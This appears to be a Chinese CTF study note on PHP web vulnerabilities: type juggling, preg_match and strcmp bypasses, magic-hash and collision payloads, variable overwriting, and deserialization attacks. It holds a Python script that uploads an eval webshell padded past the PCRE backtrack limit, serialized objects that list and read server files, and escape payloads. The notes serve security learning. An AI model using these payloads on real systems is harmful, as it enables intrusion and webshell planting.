php弱类型

1
2
3
4
5
6
7
8
9
10
<?php
var_dump("admin"==0); //true 0=0 为真 字符串转换成数值后为0
var_dump("1admin"==1); //true 1=1 为正 强制类型转换后若数字在前则转换为那个数值
var_dump("admin1"==1); //false 0不等于1 若是字母在前,则为0
var_dump("admin1"===1); //类型不等 为假
var_dump("admin"===1); //类型不等 为假
var_dump("0e123456"=="0e4456789"); //true 所有0e默认类为取值0 0=0 为真
var_dump("0e123456"==="0e4456789"); //类型相等数值不等 为假
?>

截图

比较参考:https://www.php.net/manual/zh/types.comparisons.php

preg_match()函数绕过

数组绕过

payload=?a[]=1

PCRE回溯次数

回溯次数超过上限会返回false

但php 7.3.2 中是返回int(1)的(7.3??)

因为PHP的正则表达式引擎的是NFA引擎,NFA的贪婪匹配回溯算法可能会导致reDos攻击。PCRE是PHP为了防止reDos攻击的一个机制,会限制正则表达式的回溯次数,英文文档中回溯次数上限100w。但同时我们可以利用PCRE的回溯次数限制绕过preg_match()函数的匹配。

截图

payload

1
2
3
4
5
6
7
8
9
10
import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}

res = requests.post('http://x.x.x.x:xx/index.php', files=files, allow_redirects=False)
print(res.headers)

参考:

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

换行符绕过

payload

?a=flag%0a

sha1()和md5()

弱类型 强制类型转换绕过

“240610708”
MD5值:0e462097431906509019562988736854

“QLTHNDT”
MD5值:0e405967825401955372549139051580

“QNKCDZO”

MD5值:0e830400451993494058024219903391

“s878926199a”
MD5值:0e545993274517709034328855841020

“s155964671a”
MD5值:0e342768416822451524974117254469


“aaroZmOk”

SHA1值:0e66507019969427134894567494305185566735

“aaK1STfY”

SHA1值:0e76658526655756207688271159624026011393

“aaO8zKZF”

SHA1值:0e89257456677279068558073954252716165668

“aa3OFF9m”

SHA1值:0e36977786278517984959260394024281014729


强类型 数组绕过

md5()和sha1()
遇到数组无法解决会产生null,null强类型相等

strcmp()也不能处理数组,返回null


加密前后值相等-强制类型转换

num=0e215962017

md5=0e291242476940776845150308577824


MD5强碰撞

payload:

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2


sha1强碰撞

payload:

a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

php全局变量

$GLOBALS 超级全局变量
$_SERVER 系统环境变量

截图

$_REQUEST 获取post和get
$_POST 获取post
$_GET 获取get
$_FILES 上次文件的相关信息

截图

$_ENV 服务器端环境变量

$_ENV[ ‘HOSTNAME’ ] 服务器的主机名
$_ENV[ ‘SHELL’ ] 系统 shell

$_COOKIE 用于会话控制
$_SESSION 用于会话控制

1
2
3
$_GET会对传入的数据进行URLdecode
$_SERVER['REQUEST_URI']和$_SERVER['QUERY_STRING']则是直接返回


php解析特性

截图

PHP变量覆盖漏洞

变量覆盖漏洞的场景:开启了全局变量注册、$$ 使用不当、extract() 函数使用不当、parse_str() 函数使用不当、import_request_variables() 使用不当等。

全局变量注册

register_globals
在 PHP5.3 之前,默认开启;PHP5.3 默认关闭,PHP5.6 及 5.7 已经被移除

当 register_globals 全局变量设置开启时,传递过来的值(POST/GET/Cookie)会被直接注册为全局变量而使用,这会造成全局变量覆盖

截图

$$ 动态变量覆盖

1
2
3
4
5
6
7
<?php

$a = "test";
$test = "who am i";
echo($$a);
?>
覆盖输出 who am i

extract()

extract() 函数从数组中将变量导入到当前的变量表。该函数使用数组键名作为变量名,使用数组键值作为变量值。


parse_str()

parse_str() 函数把字符串解析成多个变量。其作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量

import_request_variables()

import_request_variables()函数将 GET/POST/Cookie 变量导入到全局作用域中,当禁止了 register_globals,但又想用到一些全局变量,那么此函数就很有用


strcmp漏洞

strcmp()要求传入字符串,如果传入非字符串(如==数组==),结果就会报错。

此时函数返回”0”,虽然报错,但函数的判断却是”相等”(0同样是相等的返回值)


异或注入绕过


代码执行

https://www.cnblogs.com/xhds/p/12255609.html

eval

assert

call_user_func

call_user_fun_array

create_function

array_map

preg_replace


isset()函数

isset() 函数在以下情况下返回 false:

变量未定义。
变量被设置为 null。
数组中的某个键不存在。

intval()函数

1
2
3
4
5
6
7
8
9
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}

八进制

base为0,则根据$num的形式自行转换

16进制是0x开头-0x117c

8进制是0开头-010574

10进制就是正常数据

但是他中间匹配了字母,所以只能用八进制

科学计数法

其实也可以使用科学计数法,因为e这个字母比较特殊,可以在PHP中表示科学计数法。

num=4476e0

使用小数

num=4476.114514


trim()函数

去掉字符串前后空白字符

默认去掉以下字符

“ “ (0x20)
“\t” (0x09)
“\n” (0x0A)
“\x0B” (0x0B)
“\r” (0x0D)
“\0” (0x00)
可以默认不包含”\f” (0x0C)
比较:is_numeric()允许\f在开头

反序列化

原理

恶意用户可以通过控制反序列化的输入数据,执行未预期的代码


private 属性,需要注意变量名补齐左右各一个\00 \00。

protected 属性,需要变量名开头加上\00*\00

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无==敏感操作==来进行利用。

常见方法

1
2
3
4
5
6
7
8
9
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

比较重要的方法

__sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。

__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。


绕过__wakeup()

CVE-2016-7124漏洞

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

绕过is_valid()

为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用==大写S==表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

同时将%00替换成\00

示例:网鼎杯2020青龙组AreUSerialz-POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class FileHandler {
protected $op=2;
protected $filename='flag.php';
protected $content='';
}

$test = new FileHandler();
$test = urlencode(serialize($test));
$test = str_replace('%00','\\00',$test);
$test = str_replace('s','S',$test);
echo $test;
?>

session反序列化

==特点是ini_set(‘session.serialize_handler’,’php’);==

session.save_path 设置session的存储路径
session.save_handler 设定用户自定义存储函数
session.auto_start 指定会话模块是否在请求开始时启动一个会话
session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php引擎。

不同引擎存储机制不同

php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
php 键名+竖线+经过serialize()函数反序列处理的值
php_serialize serialize()函数反序列处理数组方式


php大于5.5.4的版本中默认使用php_serialize规则

上传页面构造

1
2
3
4
5
6
7
8
9
10
11
#upload.php
<!DOCTYPE html>
<html>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

样例:

1
2
3
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

截图


PHP反序列化字符逃逸

特性1:利用”;}进行提前闭合
特性2:长度对应,不会报错(关键在于filter)

键名逃逸和键值逃逸

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
function str_rep($string){
return preg_replace( '/php|test/','', $string);
}

$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

payload

1
name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}

POP链

一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞,但如果关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。